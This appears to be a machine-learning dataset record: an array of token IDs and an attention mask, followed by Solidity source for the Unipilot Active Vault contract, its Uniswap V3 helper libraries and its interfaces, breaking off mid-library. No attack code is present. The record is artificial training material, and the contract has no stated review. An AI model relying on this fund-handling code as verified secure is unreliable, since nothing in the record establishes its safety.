1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 2322, 1001, 3277, 9006, 3672, 1011, 25246, 25746, 22610, 24594, 1008, 1008, 12495, 3215, 2019, 1063, 6226, 1065, 2724, 1012, 1008, 1013, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1036, 4604, 2121, 1036, 2000, 1036, 7799, 1036, 2478, 1996, 1008, 21447, 7337, 1012, 1036, 3815, 1036, 2003, 2059, 2139, 29510, 2013, 1996, 20587, 1005, 1055, 1008, 21447, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
//SPDX-License-Identifier: MIT pragma solidity 0.7.6; pragma abicoder v2; import "./libraries/TransferHelper.sol"; import "./interfaces/external/IWETH9.sol"; import "./interfaces/IUnipilotVault.sol"; import "./interfaces/IUnipilotStrategy.sol"; import "./interfaces/IUnipilotFactory.sol"; import "./libraries/UniswapLiquidityManagement.sol"; import "./libraries/UniswapPoolActions.sol"; import "@openzeppelin/contracts/drafts/ERC20Permit.sol"; /// @title Unipilot Active Vault /// @author 0xMudassir & 721Orbit /// @dev Active liquidity managment contract that handles user liquidity of any Uniswap V3 pool & earn fees for them /// @dev minimalist, and gas-optimized contract that ensures user liquidity is always /// in range and earns maximum amount of fees available at current liquidity utilization /// rate. /// @dev In order to minimize IL for users contract pulls liquidity to the vault (HODL) when necessary contract UnipilotActiveVault is ERC20Permit, IUnipilotVault { using LowGasSafeMath for uint256; using UniswapPoolActions for IUniswapV3Pool; using UniswapLiquidityManagement for IUniswapV3Pool; IERC20 private token0; IERC20 private token1; uint24 private fee; int24 private tickSpacing; TicksData public ticksData; IUniswapV3Pool private pool; IUnipilotFactory private unipilotFactory; address private WETH; uint32 private _pulled = 1; uint32 private _unlocked = 1; uint32 private _initialized = 1; mapping(address => bool) private _operatorApproved; modifier onlyGovernance() { (address governance, , , , ) = getProtocolDetails(); require(msg.sender == governance); _; } modifier onlyOperator() { require(_operatorApproved[msg.sender]); _; } modifier nonReentrant() { require(_unlocked == 1); _unlocked = 2; _; _unlocked = 1; } modifier checkDeviation() { (, address strategy, , , ) = getProtocolDetails(); IUnipilotStrategy(strategy).checkDeviation(address(pool)); _; } constructor( address _pool, address _unipilotFactory, address _WETH, address governance, string memory _name, string memory _symbol ) ERC20Permit(_name) ERC20(_name, _symbol) { WETH = _WETH; unipilotFactory = IUnipilotFactory(_unipilotFactory); pool = IUniswapV3Pool(_pool); token0 = IERC20(pool.token0()); token1 = IERC20(pool.token1()); fee = pool.fee(); tickSpacing = pool.tickSpacing(); _operatorApproved[governance] = true; } receive() external payable {} fallback() external payable {} /// @dev sets initial position of the vault & can only called once by the governer function init() external onlyGovernance { require(_initialized == 1); _initialized = 2; int24 _tickSpacing = tickSpacing; int24 baseThreshold = _tickSpacing * getBaseThreshold(); (, int24 currentTick, ) = pool.getSqrtRatioX96AndTick(); int24 tickFloor = UniswapLiquidityManagement.floor( currentTick, _tickSpacing ); ticksData.baseTickLower = tickFloor - baseThreshold; ticksData.baseTickUpper = tickFloor + baseThreshold; UniswapLiquidityManagement.checkRange( ticksData.baseTickLower, ticksData.baseTickUpper ); } /// @inheritdoc IUnipilotVault function deposit( uint256 amount0Desired, uint256 amount1Desired, address recipient ) external payable override nonReentrant returns ( uint256 lpShares, uint256 amount0, uint256 amount1 ) { require(amount0Desired > 0 && amount1Desired > 0); address sender = _msgSender(); (lpShares, amount0, amount1) = pool.computeLpShares( true, amount0Desired, amount1Desired, _balance0(), _balance1(), totalSupply(), ticksData ); pay(address(token0), sender, address(this), amount0); pay(address(token1), sender, address(this), amount1); if (_pulled == 1) { pool.mintLiquidity( ticksData.baseTickLower, ticksData.baseTickUpper, amount0, amount1 ); } if (address(this).balance > 0) TransferHelper.safeTransferETH(msg.sender, address(this).balance); _mint(recipient, lpShares); emit Deposit(sender, recipient, amount0, amount1, lpShares); } /// @inheritdoc IUnipilotVault function withdraw( uint256 liquidity, address recipient, bool refundAsETH ) external override nonReentrant returns (uint256 amount0, uint256 amount1) { require(liquidity > 0); uint256 totalSupply = totalSupply(); /// @dev if liquidity has pulled in contract then calculate share accordingly if (_pulled == 1) { uint256 liquidityShare = FullMath.mulDiv( liquidity, 1e18, totalSupply ); (amount0, amount1) = pool.burnUserLiquidity( ticksData.baseTickLower, ticksData.baseTickUpper, liquidityShare, address(this) ); (uint256 fees0, uint256 fees1) = pool.collectPendingFees( address(this), ticksData.baseTickLower, ticksData.baseTickUpper ); transferFeesToIF(false, fees0, fees1); } uint256 unusedAmount0 = FullMath.mulDiv( _balance0().sub(amount0), liquidity, totalSupply ); uint256 unusedAmount1 = FullMath.mulDiv( _balance1().sub(amount1), liquidity, totalSupply ); amount0 = amount0.add(unusedAmount0); amount1 = amount1.add(unusedAmount1); if (amount0 > 0) { transferFunds(refundAsETH, recipient, address(token0), amount0); } if (amount1 > 0) { transferFunds(refundAsETH, recipient, address(token1), amount1); } _burn(msg.sender, liquidity); emit Withdraw(recipient, liquidity, amount0, amount1); if (_pulled == 1) { (uint256 c0, uint256 c1) = pool.mintLiquidity( ticksData.baseTickLower, ticksData.baseTickUpper, _balance0(), _balance1() ); emit CompoundFees(c0, c1); } } /// @inheritdoc IUnipilotVault function readjustLiquidity() external override onlyOperator checkDeviation { _pulled = 1; ReadjustVars memory a; (uint128 totalLiquidity, , ) = pool.getPositionLiquidity( ticksData.baseTickLower, ticksData.baseTickUpper ); (a.amount0Desired, a.amount1Desired, a.fees0, a.fees1) = pool .burnLiquidity( ticksData.baseTickLower, ticksData.baseTickUpper, address(this) ); transferFeesToIF(true, a.fees0, a.fees1); int24 baseThreshold = tickSpacing * getBaseThreshold(); (, a.currentTick, ) = pool.getSqrtRatioX96AndTick(); (a.tickLower, a.tickUpper) = UniswapLiquidityManagement.getBaseTicks( a.currentTick, baseThreshold, tickSpacing ); if ( (totalLiquidity > 0) && (a.amount0Desired == 0 \|\| a.amount1Desired == 0) ) { bool zeroForOne = a.amount0Desired > 0 ? true : false; int256 amountSpecified = zeroForOne ? int256(FullMath.mulDiv(a.amount0Desired, 50, 100)) : int256(FullMath.mulDiv(a.amount1Desired, 50, 100)); pool.swapToken(address(this), zeroForOne, amountSpecified); } else { a.amount0Desired = _balance0(); a.amount1Desired = _balance1(); a.liquidity = pool.getLiquidityForAmounts( a.amount0Desired, a.amount1Desired, a.tickLower, a.tickUpper ); (a.amount0, a.amount1) = pool.getAmountsForLiquidity( a.liquidity, a.tickLower, a.tickUpper ); a.zeroForOne = UniswapLiquidityManagement.amountsDirection( a.amount0Desired, a.amount1Desired, a.amount0, a.amount1 ); a.amountSpecified = a.zeroForOne ? int256( FullMath.mulDiv(a.amount0Desired.sub(a.amount0), 50, 100) ) : int256( FullMath.mulDiv(a.amount1Desired.sub(a.amount1), 50, 100) ); pool.swapToken(address(this), a.zeroForOne, a.amountSpecified); } a.amount0Desired = _balance0(); a.amount1Desired = _balance1(); (ticksData.baseTickLower, ticksData.baseTickUpper) = pool .getPositionTicks( a.amount0Desired, a.amount1Desired, baseThreshold, tickSpacing ); pool.mintLiquidity( ticksData.baseTickLower, ticksData.baseTickUpper, a.amount0Desired, a.amount1Desired ); } /// @notice Updates Unipilot's position. /// @dev Finds base position and limit position for imbalanced token /// mints all amounts to this position(including earned fees) /// @dev Must be called by the current governer or selected operators function rerange() external onlyOperator { _pulled = 1; (, , uint256 fees0, uint256 fees1) = pool.burnLiquidity( ticksData.baseTickLower, ticksData.baseTickUpper, address(this) ); transferFeesToIF(true, fees0, fees1); int24 baseThreshold = tickSpacing * getBaseThreshold(); (ticksData.baseTickLower, ticksData.baseTickUpper) = pool .rerangeLiquidity( baseThreshold, tickSpacing, _balance0(), _balance1() ); } /// @inheritdoc IUnipilotVault function uniswapV3MintCallback( uint256 amount0Owed, uint256 amount1Owed, bytes calldata data ) external override { _verifyCallback(); address recipient = msg.sender; address payer = abi.decode(data, (address)); if (amount0Owed > 0) pay(address(token0), payer, recipient, amount0Owed); if (amount1Owed > 0) pay(address(token1), payer, recipient, amount1Owed); } /// @inheritdoc IUnipilotVault function uniswapV3SwapCallback( int256 amount0, int256 amount1, bytes calldata data ) external override { _verifyCallback(); require(amount0 > 0 \|\| amount1 > 0); bool zeroForOne = abi.decode(data, (bool)); if (zeroForOne) pay(address(token0), address(this), msg.sender, uint256(amount0)); else pay(address(token1), address(this), msg.sender, uint256(amount1)); } /// @dev Burns all the Unipilot position and HODL in the vault to prevent users from huge IL /// Only called by the governer or selected operators /// @dev Users can also deposit/withdraw during HODL period. function pullLiquidity(address recipient) external onlyOperator { require(unipilotFactory.isWhitelist(recipient)); ( uint256 reserves0, uint256 reserves1, uint256 fees0, uint256 fees1 ) = pool.burnLiquidity( ticksData.baseTickLower, ticksData.baseTickUpper, recipient ); if (recipient != address(this)) { pay(address(token0), address(this), recipient, _balance0()); pay(address(token1), address(this), recipient, _balance1()); } _pulled = 2; emit PullLiquidity(reserves0, reserves1, fees0, fees1); } /// @notice Calculates the vault's total holdings of TOKEN0 and TOKEN1 - in /// other words, how much of each token the vault would hold if it withdrew /// all its liquidity from Uniswap. /// @dev Updates the position and return the updated reserves, fees & liquidity. /// @return amount0 Amount of token0 in the unipilot vault /// @return amount1 Amount of token1 in the unipilot vault /// @return fees0 Total amount of fees collected by unipilot position in terms of token0 /// @return fees1 Total amount of fees collected by unipilot position in terms of token1 /// @return baseLiquidity The total liquidity of the base position /// @return rangeLiquidity The total liquidity of the range position - N/A for active vault function getPositionDetails() external returns ( uint256 amount0, uint256 amount1, uint256 fees0, uint256 fees1, uint128 baseLiquidity, uint128 rangeLiquidity ) { return pool.getTotalAmounts(true, ticksData); } /// @notice Updates the status of given account as operator /// @dev Must be called by the current governance /// @param _operator Account to update status function toggleOperator(address _operator) external onlyGovernance { _operatorApproved[_operator] = !_operatorApproved[_operator]; } /// @notice Returns the status for a given operator that can operate readjust & pull liquidity function isOperator(address _operator) external view returns (bool) { return _operatorApproved[_operator]; } /// @notice Returns unipilot vault details /// @return The first of the two tokens of the pool, sorted by address /// @return The second of the two tokens of the pool, sorted by address /// @return The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The address of the Uniswap V3 Pool function getVaultInfo() external view returns ( address, address, uint24, address ) { return (address(token0), address(token1), fee, address(pool)); } /// @dev Amount of token0 held as unused balance. function _balance0() internal view returns (uint256) { return token0.balanceOf(address(this)); } /// @dev Amount of token1 held as unused balance. function _balance1() internal view returns (uint256) { return token1.balanceOf(address(this)); } /// @notice Verify that caller should be the address of a valid Uniswap V3 Pool function _verifyCallback() internal view { require(msg.sender == address(pool)); } function getBaseThreshold() internal view returns (int24 baseThreshold) { (, address strategy, , , ) = getProtocolDetails(); return IUnipilotStrategy(strategy).getBaseThreshold(address(pool)); } function getProtocolDetails() internal view returns ( address governance, address strategy, address indexFund, uint8 indexFundPercentage, uint8 swapPercentage ) { return unipilotFactory.getUnipilotDetails(); } /// @dev method to transfer unipilot earned fees to Index Fund function transferFeesToIF( bool isReadjustLiquidity, uint256 fees0, uint256 fees1 ) internal { (, , address indexFund, uint8 percentage, ) = getProtocolDetails(); if (fees0 > 0) TransferHelper.safeTransfer( address(token0), indexFund, FullMath.mulDiv(fees0, percentage, 100) ); if (fees1 > 0) TransferHelper.safeTransfer( address(token1), indexFund, FullMath.mulDiv(fees1, percentage, 100) ); emit FeesSnapshot(isReadjustLiquidity, fees0, fees1); } function transferFunds( bool refundAsETH, address recipient, address token, uint256 amount ) internal { if (refundAsETH && token == WETH) { IWETH9(WETH).withdraw(amount); TransferHelper.safeTransferETH(recipient, amount); } else { TransferHelper.safeTransfer(token, recipient, amount); } } /// @param token The token to pay /// @param payer The entity that must pay /// @param recipient The entity that will receive payment /// @param value The amount to pay function pay( address token, address payer, address recipient, uint256 value ) internal { if (token == WETH && address(this).balance >= value) { // pay with WETH9 IWETH9(WETH).deposit{ value: value }(); // wrap only what is needed to pay IWETH9(WETH).transfer(recipient, value); } else if (payer == address(this)) { // pay with tokens already in the contract (for the exact input multihop case) TransferHelper.safeTransfer(token, recipient, value); } else { // pull payment TransferHelper.safeTransferFrom(token, payer, recipient, value); } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; //import "../interfaces/external/IERC20.sol"; library TransferHelper { /// @notice Transfers tokens from the targeted address to the given destination /// @notice Errors with 'STF' if transfer fails /// @param token The contract address of the token to be transferred /// @param from The originating address from which the tokens will be transferred /// @param to The destination address of the transfer /// @param value The amount to be transferred function safeTransferFrom( address token, address from, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector( IERC20.transferFrom.selector, from, to, value ) ); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), "STF" ); } /// @notice Transfers tokens from msg.sender to a recipient /// @dev Errors with ST if transfer fails /// @param token The contract address of the token which will be transferred /// @param to The recipient of the transfer /// @param value The value of the transfer function safeTransfer( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(IERC20.transfer.selector, to, value) ); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), "ST" ); } /// @notice Approves the stipulated contract to spend the given allowance in the given token /// @dev Errors with 'SA' if transfer fails /// @param token The contract address of the token to be approved /// @param to The target of the approval /// @param value The amount of the given token the target will be allowed to spend function safeApprove( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(IERC20.approve.selector, to, value) ); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), "SA" ); } /// @notice Transfers ETH to the recipient address /// @dev Fails with `STE` /// @param to The destination of the transfer /// @param value The value to be transferred function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{ value: value }(new bytes(0)); require(success, "STE"); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity =0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /// @title Interface for WETH9 interface IWETH9 is IERC20 { /// @notice Deposit ether to get wrapped ether function deposit() external payable; /// @notice Withdraw wrapped ether to get ether function withdraw(uint256) external; } //SPDX-License-Identifier: MIT pragma solidity ^0.7.6; interface IUnipilotVault { struct ReadjustVars { uint256 fees0; uint256 fees1; int24 currentTick; int24 tickLower; int24 tickUpper; uint256 amount0Desired; uint256 amount1Desired; uint128 liquidity; uint256 amount0; uint256 amount1; bool zeroForOne; int256 amountSpecified; uint160 exactSqrtPriceImpact; uint160 sqrtPriceLimitX96; } struct TicksData { int24 baseTickLower; int24 baseTickUpper; int24 rangeTickLower; int24 rangeTickUpper; } struct Tick { int24 baseTickLower; int24 baseTickUpper; int24 bidTickLower; int24 bidTickUpper; int24 rangeTickLower; int24 rangeTickUpper; } struct Cache { uint256 totalSupply; uint256 liquidityShare; } event Deposit( address indexed depositor, address indexed recipient, uint256 amount0, uint256 amount1, uint256 lpShares ); event FeesSnapshot(bool isReadjustLiquidity, uint256 fees0, uint256 fees1); event Withdraw( address indexed recipient, uint256 shares, uint256 amount0, uint256 amount1 ); event PullLiquidity( uint256 reserves0, uint256 reserves1, uint256 fees0, uint256 fees1 ); event CompoundFees(uint256 amount0, uint256 amount1); /// @notice Deposits tokens in proportion to the Unipilot's current holdings & mints them /// `Unipilot`s LP token. /// @param amount0Desired Max amount of token0 to deposit /// @param amount1Desired Max amount of token1 to deposit /// @param recipient Recipient of shares /// @return lpShares Number of shares minted /// @return amount0 Amount of token0 deposited in vault /// @return amount1 Amount of token1 deposited in vault function deposit( uint256 amount0Desired, uint256 amount1Desired, address recipient ) external payable returns ( uint256 lpShares, uint256 amount0, uint256 amount1 ); /// @notice Withdraws the desired shares from the vault with accumulated user fees and transfers to recipient. /// @param recipient Recipient of tokens /// @param refundAsETH whether to recieve in WETH or ETH (only valid for WETH/ALT pairs) /// @return amount0 Amount of token0 sent to recipient /// @return amount1 Amount of token1 sent to recipient function withdraw( uint256 liquidity, address recipient, bool refundAsETH ) external returns (uint256 amount0, uint256 amount1); /// @notice Pull in tokens from sender. Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint. /// @dev In the implementation you must pay to the pool for the minted liquidity. /// @param amount0Owed The amount of token0 due to the pool for the minted liquidity /// @param amount1Owed The amount of token1 due to the pool for the minted liquidity /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call function uniswapV3MintCallback( uint256 amount0Owed, uint256 amount1Owed, bytes calldata data ) external; /// @notice Called to `msg.sender` after minting swaping from IUniswapV3Pool#swap. /// @dev In the implementation you must pay to the pool for swap. /// @param amount0Delta The amount of token0 due to the pool for the swap /// @param amount1Delta The amount of token1 due to the pool for the swap /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external; /// @notice Burns all position(s), collects any fees accrued and updates Unipilot's position(s) /// @dev mints all amounts to this position(s) (including earned fees) /// @dev For active vaults it can be called by the governance or operator, /// swaps imbalanced token and add all liquidity in base position. /// @dev For passive vaults it can be called by any user. /// Two positions are placed - a base position and a limit position. The base /// position is placed first with as much liquidity as possible. This position /// should use up all of one token, leaving only the other one. This excess /// amount is then placed as a single-sided bid or ask position. function readjustLiquidity() external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.6; pragma abicoder v2; interface IUnipilotStrategy { struct PoolStrategy { int24 baseThreshold; int24 rangeThreshold; int24 maxTwapDeviation; int24 readjustThreshold; uint32 twapDuration; int24 baseMultiplier; } event GovernanceUpdated(address oldGovernance, address newGovernance); event StrategyUpdated(PoolStrategy oldStrategy, PoolStrategy newStrategy); event MaxTwapDeviationUpdated(int24 oldDeviation, int24 newDeviation); event BaseTicksUpdated(int24 oldBaseTicks, int24 newBaseTicks); event RangeTicksUpdated(int24 oldRangeTicks, int24 newRangeTicks); event TwapDurationUpdated(uint32 oldDuration, uint32 newDuration); event ReadjustMultiplierUpdated(int24 oldMultiplier, int24 newMultiplier); function getTicks(address _pool) external returns ( int24 baseLower, int24 baseUpper, int24 bidLower, int24 bidUpper, int24 askLower, int24 askUpper ); function getTwap(address _pool) external view returns (int24); function getStrategy(address _pool) external view returns (PoolStrategy memory strategy); function getBaseThreshold(address _pool) external view returns (int24 baseThreshold); function twapDuration() external view returns (uint32); function maxTwapDeviation() external view returns (int24); function checkDeviation(address pool) external view; } //SPDX-License-Identifier: MIT pragma solidity ^0.7.6; /// @title The interface for the Unipilot Factory interface IUnipilotFactory { /// @notice Emitted when a vault is created /// @param _tokenA The first token of the pool by address sort order /// @param _tokenB The second token of the pool by address sort order /// @param _fee The fee tier for which the vault is created /// @param _vault The address of the vault that is created event VaultCreated( address indexed _tokenA, address indexed _tokenB, uint24 _fee, address indexed _vault ); /// @notice Emitted when the governance of the factory is changed /// @param _oldGovernance The governance before the governance was changed /// @param _newGovernance The governance after the governance was changed event GovernanceChanged( address indexed _oldGovernance, address indexed _newGovernance ); /// @notice Creates a vault for the given two tokens and fee /// @param _tokenA The first token of the pool by address sort order /// @param _tokenB The second token of the pool by address sort order /// @param _fee The desired fee for the unipilot vault /// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. /// The call will revert if the vault already exists, the fee is invalid, or the token arguments /// are invalid. /// @return _vault The address of the newly created pool function createVault( address _tokenA, address _tokenB, uint24 _fee, uint160 _sqrtPriceX96, string memory _name, string memory _symbol ) external returns (address _vault); /// @notice Returns the vault address for a given uniswap v3 pair of tokens and a fee /// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order /// @param tokenA The contract address of either token0 or token1 /// @param tokenB The contract address of the other token /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip /// @return vault The vault address function vaults( address tokenA, address tokenB, uint24 fee ) external view returns (address vault); /// @notice Returns the status for a given account that can recieve the vault reserves after pull liquidity /// @dev by default vault address will be whitelist as a recipient in order to resist IL /// @dev Only applicable for active vaults function isWhitelist(address recipient) external view returns (bool); /// @notice Used to give addresses of governance, strategy, indexFund /// @return governance address, strategy address, indexFund address function getUnipilotDetails() external view returns ( address, address, address, uint8, uint8 ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import "./UniswapPoolActions.sol"; import "@uniswap/v3-core/contracts/libraries/TickMath.sol"; import "@uniswap/v3-core/contracts/libraries/SqrtPriceMath.sol"; import "@uniswap/v3-periphery/contracts/libraries/PositionKey.sol"; import "@uniswap/v3-periphery/contracts/libraries/LiquidityAmounts.sol"; import "../interfaces/IUnipilotVault.sol"; /// @title Liquidity and ticks functions /// @notice Provides functions for computing liquidity and ticks for token amounts and prices library UniswapLiquidityManagement { using LowGasSafeMath for uint256; struct Info { uint256 amount0Desired; uint256 amount1Desired; uint256 amount0; uint256 amount1; uint128 liquidity; int24 tickLower; int24 tickUpper; } /// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`. /// @param pool Uniswap V3 pool /// @param liquidity The liquidity being valued /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return amounts of token0 and token1 that corresponds to liquidity function getAmountsForLiquidity( IUniswapV3Pool pool, uint128 liquidity, int24 _tickLower, int24 _tickUpper ) internal view returns (uint256, uint256) { (uint160 sqrtRatioX96, , , , , , ) = pool.slot0(); return LiquidityAmounts.getAmountsForLiquidity( sqrtRatioX96, TickMath.getSqrtRatioAtTick(_tickLower), TickMath.getSqrtRatioAtTick(_tickUpper), liquidity ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`. /// @param pool Uniswap V3 pool /// @param amount0 The amount of token0 /// @param amount1 The amount of token1 /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return The maximum amount of liquidity that can be held amount0 and amount1 function getLiquidityForAmounts( IUniswapV3Pool pool, uint256 amount0, uint256 amount1, int24 _tickLower, int24 _tickUpper ) internal view returns (uint128) { (uint160 sqrtRatioX96, , , , , , ) = pool.slot0(); return LiquidityAmounts.getLiquidityForAmounts( sqrtRatioX96, TickMath.getSqrtRatioAtTick(_tickLower), TickMath.getSqrtRatioAtTick(_tickUpper), amount0, amount1 ); } /// @dev Amount of liquidity in contract position. /// @param pool Uniswap V3 pool /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return liquidity stored in position function getPositionLiquidity( IUniswapV3Pool pool, int24 _tickLower, int24 _tickUpper ) internal view returns ( uint128 liquidity, uint128 tokensOwed0, uint128 tokensOwed1 ) { bytes32 positionKey = PositionKey.compute( address(this), _tickLower, _tickUpper ); (liquidity, , , tokensOwed0, tokensOwed1) = pool.positions(positionKey); } /// @dev Rounds tick down towards negative infinity so that it's a multiple /// of `tickSpacing`. function floor(int24 tick, int24 tickSpacing) internal pure returns (int24) { int24 compressed = tick / tickSpacing; if (tick < 0 && tick % tickSpacing != 0) compressed--; return compressed * tickSpacing; } function getSqrtRatioX96AndTick(IUniswapV3Pool pool) internal view returns ( uint160 _sqrtRatioX96, int24 _tick, uint16 observationCardinality ) { (_sqrtRatioX96, _tick, , observationCardinality, , , ) = pool.slot0(); } /// @dev Calc base ticks depending on base threshold and tickspacing function getBaseTicks( int24 currentTick, int24 baseThreshold, int24 tickSpacing ) internal pure returns (int24 tickLower, int24 tickUpper) { int24 tickFloor = floor(currentTick, tickSpacing); tickLower = tickFloor - baseThreshold; tickUpper = tickFloor + baseThreshold; } function collectableAmountsInPosition( IUniswapV3Pool pool, int24 _lowerTick, int24 _upperTick ) internal view returns ( uint256, uint256, uint256, uint256 ) { ( uint128 liquidity, uint128 earnable0, uint128 earnable1 ) = getPositionLiquidity(pool, _lowerTick, _upperTick); (uint256 burnable0, uint256 burnable1) = UniswapLiquidityManagement .getAmountsForLiquidity(pool, liquidity, _lowerTick, _upperTick); return (burnable0, burnable1, earnable0, earnable1); } function computeLpShares( IUniswapV3Pool pool, bool isWhitelisted, uint256 amount0Max, uint256 amount1Max, uint256 balance0, uint256 balance1, uint256 totalSupply, IUnipilotVault.TicksData memory ticks ) internal returns ( uint256 shares, uint256 amount0, uint256 amount1 ) { ( uint256 res0, uint256 res1, uint256 fees0, uint256 fees1, , ) = getTotalAmounts(pool, isWhitelisted, ticks); uint256 reserve0 = res0.add(fees0).add(balance0); uint256 reserve1 = res1.add(fees1).add(balance1); // If total supply > 0, pool can't be empty assert(totalSupply == 0 \|\| reserve0 != 0 \|\| reserve1 != 0); (shares, amount0, amount1) = calculateShare( amount0Max, amount1Max, reserve0, reserve1, totalSupply ); } function getTotalAmounts( IUniswapV3Pool pool, bool isWhitelisted, IUnipilotVault.TicksData memory ticks ) internal returns ( uint256 amount0, uint256 amount1, uint256 fees0, uint256 fees1, uint128 baseLiquidity, uint128 rangeLiquidity ) { (amount0, amount1, fees0, fees1, baseLiquidity) = getReserves( pool, ticks.baseTickLower, ticks.baseTickUpper ); if (!isWhitelisted) { ( uint256 range0, uint256 range1, uint256 rangeFees0, uint256 rangeFees1, uint128 rangeliquidity ) = getReserves(pool, ticks.rangeTickLower, ticks.rangeTickUpper); amount0 = amount0.add(range0); amount1 = amount1.add(range1); fees0 = fees0.add(rangeFees0); fees1 = fees1.add(rangeFees1); rangeLiquidity = rangeliquidity; } } function getReserves( IUniswapV3Pool pool, int24 tickLower, int24 tickUpper ) internal returns ( uint256 amount0, uint256 amount1, uint256 fees0, uint256 fees1, uint128 liquidity ) { liquidity = UniswapPoolActions.updatePosition( pool, tickLower, tickUpper ); if (liquidity > 0) { (amount0, amount1, fees0, fees1) = collectableAmountsInPosition( pool, tickLower, tickUpper ); } } function calculateShare( uint256 amount0Max, uint256 amount1Max, uint256 reserve0, uint256 reserve1, uint256 totalSupply ) internal pure returns ( uint256 shares, uint256 amount0, uint256 amount1 ) { if (totalSupply == 0) { // For first deposit, just use the amounts desired amount0 = amount0Max; amount1 = amount1Max; shares = amount0 > amount1 ? amount0 : amount1; // max } else if (reserve0 == 0) { amount1 = amount1Max; shares = FullMath.mulDiv(amount1, totalSupply, reserve1); } else if (reserve1 == 0) { amount0 = amount0Max; shares = FullMath.mulDiv(amount0, totalSupply, reserve0); } else { amount0 = FullMath.mulDiv(amount1Max, reserve0, reserve1); if (amount0 < amount0Max) { amount1 = amount1Max; shares = FullMath.mulDiv(amount1, totalSupply, reserve1); } else { amount0 = amount0Max; amount1 = FullMath.mulDiv(amount0, reserve1, reserve0); shares = FullMath.mulDiv(amount0, totalSupply, reserve0); } } } /// @dev Gets ticks with proportion equivalent to desired amount /// @param pool Uniswap 